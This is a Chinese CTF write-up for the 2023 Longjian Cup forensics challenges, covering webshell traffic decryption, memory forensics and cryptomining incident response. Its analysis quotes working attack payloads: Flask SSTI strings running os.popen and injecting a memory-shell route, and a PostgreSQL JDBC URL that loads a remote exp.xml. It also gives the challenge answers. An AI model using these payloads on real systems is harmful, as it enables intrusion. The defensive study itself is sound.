2023陇剑杯-WP全解
2023陇剑杯详解
练习完21年的题目后学到很多,整理后就开始攻克23年的题目了,这次的题目比之上次有过之而无不及,题目更加深入全面了
数据分析-HW
首先进行协议分级查看,全都是应用层的tcp流量
这是一段纯 TCP 封装的 IPv4 以太网流量,所有分组严格遵循四层封装,核心数据在 TCP 层承载,适合分析 “基于 TCP 的应用交互”(比如网页浏览、文件传输等场景的流量)。
hard_web_1
服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)
筛选 TCP 开放端口(最常用):
tcp.flags.syn == 1 && tcp.flags.ack == 1
解释:只显示 TCP 协议里,服务器回复的 SYN - ACK 包(客户端发 SYN 连接请求,服务器同意连接时回复的包)。这类包的目的端口(客户端请求的端口) 就是服务器开放的端口(因为客户端连的是服务器的这个端口,服务器才会回应)。
只有开放的端口才会通过三次握手建立连接
筛选结果由图可知:确定开放的端口是 80,888,8888
hard_web_2
服务器中根目录下的flag值是多少?
由于流量太多了,先查看文件对象
找到shell.jsp文件
过虑http,搜索shell.jsp
跟踪流查看,jsp后门文件应该是利用成功了
再往下看,发现哥斯拉
解密哥斯拉流量:
-
步骤 1:输入加密数据
将拆分出的 “加密请求体 / 响应体” 内容(十六进制或原始字节)粘贴到 Input 区域。 -
步骤 2:添加解密 Recipe
依次添加操作:
- 若数据是十六进制形式,先加
From Hex
(转为原始字节); - 再加
AES Decrypt
,配置:- 密钥:
748007e861908c03
(已知哥斯拉 AES 密钥,注意长度需符合 AES 标准,这里 16 字节即 AES-128 ); - 模式:哥斯拉常用
CBC
模式(需确认,若不对换ECB
等尝试); - IV(初始向量):若流量里有传递,需从 HTTP 头或体中提取;若未显式传递,哥斯拉可能用默认(或与密钥关联生成,需调试)。
- 密钥:
- 若解密后有乱码,补充
Gunzip
(因原始流量可能经 gzip 编码,虽 HTTP 流已解码,但加密前可能又压缩,需二次解压)。
- 若数据是十六进制形式,先加
-
步骤 3:执行解密
点击Run
,Output 区域会显示解密后的明文(可能是哥斯拉的命令、回显等交互内容)。
沿着20046继续向后分析
查看流20053时,解密发现查询flag
解密响应结果获得flag
哥斯拉流量
注意:下边博客正好是针对这一题展开讲解的
【流量分析】Godzilla分析_哥斯拉流量特征-CSDN博客
哥斯拉流量核心特征
- 协议伪装:基于 HTTP/HTTPS 传输,用常见 Web 端口(80/443 等),请求方法多为
POST
,响应码常伪装200
,混在正常流量中。 - 加密混淆:
- 采用 AES 对称加密(配固定密钥),请求 / 响应体为加密 “乱码块”(非明文
key=value
),可能经 Gzip 二次压缩。 - 流量体积极小(命令执行场景)或突发增大(文件传输场景 )。
- 采用 AES 对称加密(配固定密钥),请求 / 响应体为加密 “乱码块”(非明文
- 交互模式:严格 “请求 - 响应”,必有来回流量(执行命令需回显结果 )。
代码层面特征
- 硬编码密钥:内置 AES 密钥
748007e861908c03
(16 字节,AES-128),用于加密通信。 - 动态加载机制:通过自定义类加载器
X
动态加载加密的恶意字节码(payload
),存储在session
中,避免静态检测。 - 加密 / 解密逻辑:含
x()
方法,基于 AES 实现请求体解密、响应体加密,默认 ECB 模式。 - 请求处理:首次请求加载
payload
,后续请求执行命令并加密返回结果,依赖session
保持状态。
处理步骤
- 快速识别:
- 过滤规则:
http.request.method == "POST" && http contains "可疑路径(如 shell.jsp )"
,筛选 “小体积加密 POST 流量”。 - 对比正常流量:同路径下,请求体无明文参数、全为加密乱码 → 标记可疑。
- 过滤规则:
- 解密实锤:
- 用 CyberChef 按
From Hex(转加密体)→ AES Decrypt(填密钥)→ Gunzip(解压缩)
流程解密 → 若出现命令 / 回显(如whoami
结果 ),确认是哥斯拉。
- 用 CyberChef 按
- 应急处置:
- 服务端:删除
shell.jsp
等 webshell 文件,检查同目录 / 可疑文件(如近期新增、隐藏文件 )。 - 网络侧:封禁客户端 IP(若固定),在 WAF 添规则(拦截含加密特征的 POST )。
- 溯源:分析解密后的命令(如攻击者执行了哪些操作 ),排查内网横向渗透风险。
- 服务端:删除
hard_web_3
该webshell的连接密码是多少?
md5查询获得秘钥
数据分析-WS
Wireshark_1
被入侵主机的IP是?
直接过滤tcp,第一次是源ip,目标ip就是被入侵ip:192.168.246.28
Wireshark_2
被入侵主机的口令是?
直接跟踪流,只有一个流,看见密码
Wireshark_3
用户目录下第二个文件夹的名称是?
看的到,执行了ls,找到第二个文件名
Wireshark_4
/etc/passwd中倒数第二个用户的用户名是?
执行了cat命令查看这个文件,直接找到倒数第二个即可
数据分析-EW
ez_web_1
题目内容:服务器自带的后门文件名是什么?(含文件后缀)
查看文件找到后门php文件
提交后不对,说明d00r.php
可能是通过服务器自带的后门写入的webshell
直接查找d00r.php
,找到第一个出现的位置
解码看到d00r.php是在这里被写入的
所以服务器自带的后门文件就是:ViewMore.php
ez_web_2
题目内容:服务器的内网IP是多少?
执行了ifconfig查看
ez_web_3
题目内容:攻击者往服务器中写入的key是什么?
看到password
再往下,看到
执行命令写入文件
解码获得zip,选择unzip输入密码进行解压,获取key信息
数据分析-SSW
SmallSword_1
连接蚁剑的正确密码是______________?(答案示例:123asd)
导出对象中查看有哪些恶意文件,看到类似联合注入的语句
接着看发现写入了webshell进去,6ea280898e404bfabd0ebb702327b18f应该就是密码
跟踪到96,看到使用6e进行传参,并且是antSword/v1.3流量,从UA也可看出
至此6ea280898e404bfabd0ebb702327b18f被证明就是蚁剑密码
SmallSword_2
题目内容:攻击者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)
接着搜索antsword,查找攻击者留存信息
RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3NxbGlpL0xlc3MtNy8=
D:/phpStudy/PHPTutorial/WWW/sqlii/Less-7/
RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3NxbGlpL0xlc3MtNy9odW9yb25nLmV4ZQ==
D:/phpStudy/PHPTutorial/WWW/sqlii/Less-7/huorong.exe
RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3NxbGlpL0xlc3MtNy9oYWNrZXIudHh0
D:/phpStudy/PHPTutorial/WWW/sqlii/Less-7/hacker.txt
YWQ2MjY5YjctM2NlMi00YWU4LWI5N2YtZjI1OTUxNWU3YTkxIA==
ad6269b7-3ce2-4ae8-b97f-f259515e7a91
注意到该流量有两个参数,显示分组字节进行base解码
找到留存的值
SmallSword_3
题目内容:攻击者下载到的flag是______________?(答案示例:flag3{uuid})
我的第130个流中没有数据,可能是流量包坏了,这题就不做了
数据分析-SS
sevrer save_1
黑客是使用什么漏洞来拿下root权限的。格式为:CVE-2020-114514 本题附件见于平台公告的SS.zip,解压密码为c77ad47ba4c85fae66f08ec12e0085dd
查看对象,拉倒最后看到进行了命令执行
跟进去看看,看到已经利用成功了,向前看看,前一个包应该就是poc
直接搜索就有结果了:CVE-2022-22965
sevrer save_2
黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444
往后翻,访问bash.sh文件,执行反弹shell命令
sevrer save_3
黑客的病毒名称是什么? 格式为:filename
在用户目录发现main文件为一个可执行文件,多半为病毒文件
sevrer save_4
黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password
在/etc/passwd中找到新建用户,/etc/passwd存放用户信息
在shadow文件中找到密码,/etc/shadow存放密码哈希
ll:123456
sevrer save_5
服务器在被入侵时外网ip是多少? 格式为:10.10.0.1
日志文件中可以看见外连ip
sevrer save_6
病毒运行后释放了什么文件?格式:文件1,文件2
在日志文件中看到执行了mine_doge.sh,说明这两个文件可能就是病毒释放的
故为:lolMiner,mine_doge.sh
sevrer save_7
矿池地址是什么? 格式:domain:1234
找到矿池地址和黑客的钱包
doge.millpools.cc:5567
sevrer save_8
黑客的钱包地址是多少?格式:xx:xxxxxxxx
同上:
DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker
数据分析-BF
本题详情可参考下边wp
2023第二届陇剑杯网络安全大赛 预选赛Writeup_第二届“陇剑杯”网络安全大赛线上赛write up2023、-CSDN博客
baby_forensics_1
题目内容:磁盘中的key是多少?
压缩包密码:4cf611fce4a2fec305e54c2766b7c860
扫描文件,搜索key,找到key.txt导出
进行ROT47解密
baby_forensics_2
题目内容:电脑中正在运行的计算器的运行结果是多少?
执行命令找到calc.exe,分析结果
vol.exe -f baby.raw --profile=Win7SP1x64 windows > result.txt
模块名 windows
是 Volatility 的一个插件模块,用于枚举 Windows 系统中的窗口信息(如窗口标题、位置、所属进程等)。
baby_forensics_3
题目内容:该内存文件中存在的flag值是多少?
开机自启项中存在StikyNot.exe,开机自启动,存在异常

本题大概思路:
-
查看pslist发现便笺程序(
StikyNot.exe
:Windows便签程序) -
调用过
StikyNot.exe
,尝试寻找snt
文件 -
还原
snt
文件,查找秘钥进行解密 -
使用R-Studio,在C:/Users/admin/Music下找到i4ak3y
-
利用秘钥对密文进行AES解密
关于便笺的详情可参考下边这篇文章
西湖论剑2021中国杭州网络安全技能大赛部分Writeup_西湖论剑题目附件-CSDN博客
数据分析-TP
tcpdump_1
攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin
搜索username,任意进入一个包
捕获关键信息,访问的uri为/login,正确账密状态为"errCode":200
对应搜索语句
http.request.uri=="/login"
errCode:200
结果只有一条,进去看就是正确的账密:TMjpxFGQwD:123457
tcpdump_2
攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值。(32位小写)
将cookie应用为列方便查看其变化,接着简单筛选即可看到cookie的变化
安装顺序看出,userid的变化体现出越权
MD5后即可
tcpdump_3
攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456
jdbc的应用配置文件为application.yml
直接搜索得到数据库账密为:zyplayer:1234567
tcpdump_4
攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so
查看文件信息
看到xml文件跟踪流进去
jdbc:postgresql,用的是postgresql,访问了外部ip,搜一搜
分析命令执行的poc
jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml
类似,分析可得cve以及exp:CVE-2022-21724:custom.dtd.xml
tcpdump_5
给出攻击者获取系统权限后,下载的工具的名称,比如nmap
直接进后几个流中查看,或者尝试搜索一些工具fscan
可知,下载了fscan
数据分析-HD
hacked_1
admIn用户的密码是什么?
账密传输要用POST协议,只看返回为200的结果
http.response.code==200 or http.request.method==POST
hello
随意打开一个看一下,返回信息
看出是进行了AES加密,给了key和iv
接着将账密作为显示列,对应账密的后几个就是其结果
找到返回结果为hello,admin
上一条一定是其密码
将上一条流的密码进行解密,由于AES加密结果默认是经过 Base64 编码的字符串 ,所以先进行base64解码后进行aes解密即可
hacked_2
app.config['SECRET_KEY']值为多少?
直接搜索SECRET_KEY,看到其值为:ssti_flask_hsfvaldb
hacked_3
flask网站由哪个用户启动?
查看Cookie可以获取用户信息
使用下边的项目进行解码
GitHub - noraj/flask-session-cookie-manager: 🍪 Flask Session Cookie Decoder/Encoder
首先将,上一问位置的cookie进行解码
python flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c ".eJyrViouSSwpLVayKikqTdVRKi1OLcpLzE1VslKqVi0oyswr0UjOz0vLTNdUrY0pNTAwSKMFqVQLAAlNKwg.YpIPag.rjQLHg1gYSUeH_eCvEO0sFmLL_E"
{'status': True, 'username': '{%print(config)%}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'}
没有有用信息,接着向后看,看到第76个包时,出现hello,解码查看
python flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c ".eJwdx1EKwyAMANCrDEGiPz1Ar1KGZBi7gBpplH2Idy_d-3vTDKWrYiGzm2k5vZRUWeo2WsRObkLKeMKeuekoB4RwZvlg1hDg_S917lSeOhAFf0CTRvXp7ytYGPx2EUbnl7drWqqRk11m3cGmKw0.YpIQcw.J5vs8t8bAr0xDIxF6EqUAH2kkLE"
{'username': "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"}
python flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c ".eJwdylsKAyEMQNGtFEGiUGYBs5VpkRQz04AvjNIPce-t_TyXO9QZ8FK7quQfSd1VF6oJI_3S0HzehEQ4p60Xj43MgPXDHrhIjwc4d4X8wiDOwfNPatwoLhrIAvaAkgulxc87Y2SwWyX0xk6r59CUPJ96qvkFHeUvmg.YpIQkg.65xf8l2g9fXAImkfyihId46KkY4"
{'flag': 'red\n', 'username': "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"}
请求包中查询whoami
响应包中回复red
故而,用户名就是red
hacked_4
攻击者写入的内存马的路由名叫什么?(答案里不需要加/)
接着向后进行分析
python flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c ".eJx1jUsOgkAQBa-Cs2lJCEbdcQI9A0w6DdMaYjPgfAwJmbsLC1fq7r2kKrWo6NlZGlhValmiE7yNrkS8y9iSeMQaENvYS-jt-kDXwC8S0PtG0TSVZAxulovCezhcreEZigw-Q2hoDWUVXFhk3GXH0xnyRhULoONnZB-wCzP6QN0Dqt_9b1AXsMb_8F10jm3AjdApT0mlNx2uUsY.YpIRHQ.qS_PWmxt4i4cjHYBzDz-rUdTZns"
{'username': '{{url_for.__globals__[\'__builtins__\'][\'eval\']("app.add_url_rule(\'/Index\', \'Index\', lambda :\'Hello! 123\')",{\'_request_ctx_stack\':url_for.__globals__[\'_request_ctx_stack\'],\'app\':url_for.__globals__[\'current_app\']})}}'}
动态添加一个路由 /Index
,返回固定字符串 Hello! 123
所以写入的内存马的路由名叫Index
数据分析-IR
你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)
本题附件为ova形式的文件,OVA 文件是虚拟环境的 “完整快照”,包含了虚拟机的所有数据痕迹,是数字取证中重要的分析载体。通过解析其虚拟磁盘和配置文件,可还原用户操作、系统活动及潜在的恶意行为,为案件调查提供关键证据。
OVA 文件的取证核心是对其包含的虚拟磁盘文件(如.vmdk
)和配置文件(.ovf
)进行解析,提取与案件相关的证据。
双击OVA 文件会在VMware中新建一个虚拟机打开,也可直接进行解压
接着进入R-studio中对vmdk文件进行取证分析
IncidentResponse_1
挖矿程序所在路径是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
本题附件见于平台公告的IR.zip,解压密码为f0b1ba11478343f404666c355919de3f
由于终端限制,不支持上下翻滚,于是用more或less进行翻阅
ps -ef | more
Redis 服务的网络暴露风险(需检查 bind
配置)、SSH 历史攻击痕迹(需加固认证)、Java 应用的内存与日志管理是重点关注项。通过关联日志、网络连接、配置文件,可深度排查入侵或故障隐患。
存疑漏洞点:
- Redis 服务暴露风险:
redis-server
进程若监听在公网(未限制bind
为本地或可信 IP ),且无密码或弱密码,易遭暴力破解、未授权访问,像 SSH 攻击场景一样,攻击者可能利用 Redis 漏洞写入公钥、篡改数据甚至拿权限。 - SSH 安全隐患:历史有暴力破解、公钥非法登录成功记录,说明 SSH 认证防护不足,比如密码复杂度低、未禁用密码登录仅用公钥(或公钥管理不善被植入 ),存在持续被入侵风险。
- 进程与服务监控弱:对关键进程(如 Redis、Java 应用 )的运行状态、资源占用、网络连接缺乏有效监控,难以及时发现异常进程(如恶意挖矿、后门 )和服务故障。
- 日志与配置管理缺漏:系统及服务日志未充分利用来审计,关键配置(Redis、SSH 等 )没做严格加固,给攻击者留了渗透入口,也不利于快速追溯、定位安全事件 。 简单说,就是服务暴露、认证弱、监控审计不足,让系统易被攻击和控制 。
查看redis的配置文件
也可在R-studio中查看到其中有异常字符以及外连域名
从文件内容看,这是 Redis 配置文件被恶意篡改植入挖矿脚本 的典型特征,以下是详细分析:
- 文件与场景识别
- 文件路径:
/etc/redis/redis.conf
(Redis 核心配置文件),被篡改后注入了非 Redis 标准的配置项。 - 工具痕迹:
R-Viewer
是远程文件查看工具,说明攻击者或运维可能通过远程方式访问系统文件。
- 关键恶意配置分析
"url": "donate.v2.xmrig.com:3333",
"user": "YOUR_WALLET_ADDRESS",
这是 XMRig 挖矿程序 的配置片段:
url
:指向 XMRig 挖矿池(donate.v2.xmrig.com
是知名门罗币挖矿池),用于接收挖矿指令、上报算力。user
:攻击者的门罗币钱包地址,挖矿收益会转入该地址。
挖矿程序所在路径就是/etc/redis/redis-server
duan@F0T0ne:~$ echo -n '/etc/redis/redis-server'|md5sum|cut -d ' ' -f1
6f72038a870f05cbf923633066e48881
IncidentResponse_2
挖矿程序连接的矿池域名是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
上一问分析可知挖矿域名
duan@F0T0ne:~$ echo -n 'donate.v2.xmrig.com'|md5sum|cut -d ' ' -f1
3fca20bb92d0ed67714e68704a0a4503
IncidentResponse_3
攻击者入侵服务器的利用的方法是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
hint
:答案md5值前两位为3e
由进程文件能够看到是java服务,在/home/app目录下
将日志文件与jar包恢复出来进行分析
反编译jar找到shiro的信息
接着查看其版本
根据版本信息搜索
可知是shiro的反序列化漏洞
echo -n 'shirodeserialization'|md5sum|cut -d ' ' -f1
3ee726cb32f87a15d22fe55fa04c4dcd
IncidentResponse_4
攻击者的IP是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
获取攻击者 IP 的核心方法是从登录记录和网络访问日志中提取异常 IP,具体如下:
- 通过系统登录记录定位
执行last
命令查看用户登录历史,筛选出非管理员常用的异常 IP(如陌生公网 IP、与挖矿程序植入时间吻合的登录 IP),这些 IP 大概率是攻击者通过 SSH 等方式直接登录服务器的地址。 - 通过 Nginx 访问日志定位
查看 Nginx 访问日志(tail /var/log/nginx/access.log
),寻找频繁发送异常请求(如漏洞利用 Payload、恶意路径访问)的 IP,这类 IP 通常是攻击者通过 Web 漏洞(如之前提到的 JAR 包漏洞)入侵时使用的源地址。
查看登录记录
查看日志文件
/var/log/nginx/access.log
查看历史命令
root下的bash历史命令
看到运行完jar后尝试访问了外部ip,可能是测试是否能够与攻击ip建立联系
duan@F0T0ne:~$ echo -n '81.70.166.3'|md5sum|cut -d ' ' -f1
c76b4b1a5e8c9e7751af4684c6a8b2c9
IncidentResponse_5
攻击者发起攻击时使用的User-Agent是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
先前的日志分析工具不能解析出UA
手动查看,翻到末尾将UA取出,去掉空格,改为小写
duan@F0T0ne:~$ echo -n 'mozilla/5.0(compatible;baiduspider/2.0;+http://www.baidu.com/search/spider.html)'|md5sum|cut -d ' ' -f1
6ba8458f11f4044cce7a621c085bb3c6
IncidentResponse_6
攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以a开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
查看ssh信息
查看ssh目录下的文件
- authorized_keys 文件:存储允许登录本服务器的 SSH 公钥。若有陌生公钥,可能是攻击者植入用于免密登录 。
cat authorized_keys
输出了公钥内容,可用于排查是否有未授权公钥添加。可能是攻击者(用 Kali 系统)植入的公钥,用于后续持久化访问。 - id_rsa.pub 文件:是当前服务器的 SSH 公钥,可用于识别本服务器的 SSH 身份,若被泄露,他人可能模拟身份。
查看日志文件
Ubuntu系统对应日志文件是 /var/log/auth.log
,功能与 secure
一致,记录系统认证相关事件(SSH 登录是典型场景 )。
找到该文件后进行恢复,查看分析,同样可以看到进行了公钥认证
经过爆破无果后,通过公钥进行了绕过
duan@F0T0ne:~$ echo -n '/root/.ssh/authorized_keys'|md5sum|cut -d ' ' -f1
a1fa1b5aeb1f97340032971c342c4258
IncidentResponse_7
攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以b开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
一、定时任务与提权检测
- 基础定时任务排查:执行
crontab -l
,检查当前用户(如 root )是否有直接配置的定时任务,排查简单定时脚本后门。 - SUID 权限审计:通过
find / -perms -u=s -type f 2>/dev/null
,查找系统中带 SUID 权限的文件(此类文件因特殊权限,可能被攻击者利用提权 ),验证是否存在异常文件。
二、系统服务状态检测
执行 systemctl list-unit-files --type=service
,列出所有 systemd 服务的启用状态,筛选出异常启用的服务(如陌生服务、正常服务被篡改用途 ),重点标记需深度校验的服务(如案例中 redis.service
)。
三、敏感服务配置审计
针对标记的可疑服务(如 redis.service
),定位其 systemd 配置文件(常规路径为 /lib/systemd/system/[服务名].service
),执行 cat [配置文件路径]
查看内容。重点检查 ExecStart
等启动指令字段,判断是否被注入恶意命令(如挖矿程序启动逻辑 ),确认服务是否被用作权限维持后门。
看到挖矿程序被间歇反复重启,故第二种维权中的配置文件路径为/lib/systemd/system/redis.service
duan@F0T0ne:~$ echo -n '/lib/systemd/system/redis.service'|md5sum|cut -d ' ' -f1
b2c5af8ce08753894540331e5a947d35
维权总结
以下是对常见 Linux 下权限维持手段的检测分析:
一、检测定时任务相关的权限维持手段
- 操作:执行
crontab -l
命令,用于查看当前用户(截图中是 root 用户)设置的定时任务。 - 原理:攻击者常通过定时任务来定期执行恶意脚本,比如定时启动挖矿程序、反弹 shell 脚本等,以维持对系统的访问权限。如果当前用户存在非管理员设置的定时任务,就可能是权限维持的迹象。
- 结果分析:若显示
no crontab for root
,说明当前 root 用户没有通过crontab
设置定时任务,暂时未发现由定时任务带来的权限维持风险。
二、检测 SUID 权限文件相关的权限维持手段
- 操作:执行
find / -perm -u=s -type f 2>/dev/null
命令,该命令用于查找系统中所有设置了 SUID 权限的文件。 - 原理:SUID(Set User ID)是一种特殊的文件权限,当用户执行具有 SUID 权限的文件时,将以文件所有者的权限运行。攻击者可能会篡改具有 SUID 权限的系统文件,使其在执行时赋予攻击者高权限,从而实现权限维持。例如,将原本正常的二进制文件替换为恶意程序,当其他用户执行该文件时,恶意程序就能以文件所有者(通常是 root 等高权限用户)的身份运行。
- 结果分析:截图中输出了一些系统默认的具有 SUID 权限的程序,如
/usr/bin/newgrp
、/usr/bin/passwd
等,这些属于正常的系统文件,暂时未发现异常的 SUID 权限文件被篡改的情况。
三、检测系统服务相关的权限维持手段
- 操作:
- 执行
systemctl list-unit-files --type=service | grep 'redis'
命令,用于筛选出系统中与 redis 相关的服务,并查看其启用状态。 - 执行
cat /lib/systemd/system/redis.service
命令,查看 redis 服务的配置文件内容。
- 执行
- 原理:systemd 是 Linux 系统中常用的系统和服务管理器,攻击者可能会篡改正常服务的配置文件(如
ExecStart
字段),在服务启动时执行恶意程序,或者创建恶意的服务单元文件来实现开机自启恶意程序,从而维持对系统的控制。以 redis 服务为例,如果攻击者在ExecStart
字段中添加挖矿程序的启动命令,当 redis 服务启动时,挖矿程序也会随之启动,并且由于服务设置为开机自启(截图中显示redis.service enabled
),每次系统重启后挖矿程序都会自动运行。 - 结果分析:
- 从
systemctl list-unit-files --type=service | grep 'redis'
的结果可知,redis 服务处于启用状态,需要进一步检查其配置文件是否被篡改。 - 通过查看
redis.service
配置文件,虽然目前看起来启动命令ExecStart
等字段是正常调用 redis-server 程序,但仍需进一步确认文件的完整性和准确性,比如对比官方标准配置文件,或者检查文件的修改时间等信息,以确定是否存在被恶意篡改的情况。
- 从
四、其他常见的权限维持手段及检测思路补充
- 影子账户:攻击者创建隐藏的具有高权限的账户。检测时可以检查
/etc/passwd
和/etc/shadow
文件,查看是否存在异常的用户账户,比如 UID 为 0 但用户名不是 root 的账户,或者账户信息异常、没有登录 Shell 却能登录系统的账户等。 - SSH 密钥篡改:攻击者修改
~/.ssh/authorized_keys
文件,添加自己的公钥,实现无密码登录。可以检查该文件的内容,查看是否存在陌生的公钥,同时检查文件的权限是否被篡改(正常情况下权限应为 600 )。 - 启动脚本篡改:检查系统启动脚本,如
/etc/rc.local
等,查看是否被添加了恶意命令。因为这些脚本会在系统启动时执行,攻击者可以利用这一点来启动恶意程序。
参考WP
2023第二届陇剑杯网络安全大赛 预选赛Writeup_第二届“陇剑杯”网络安全大赛线上赛write up2023、-CSDN博客
比较精简
精简一些
相当详细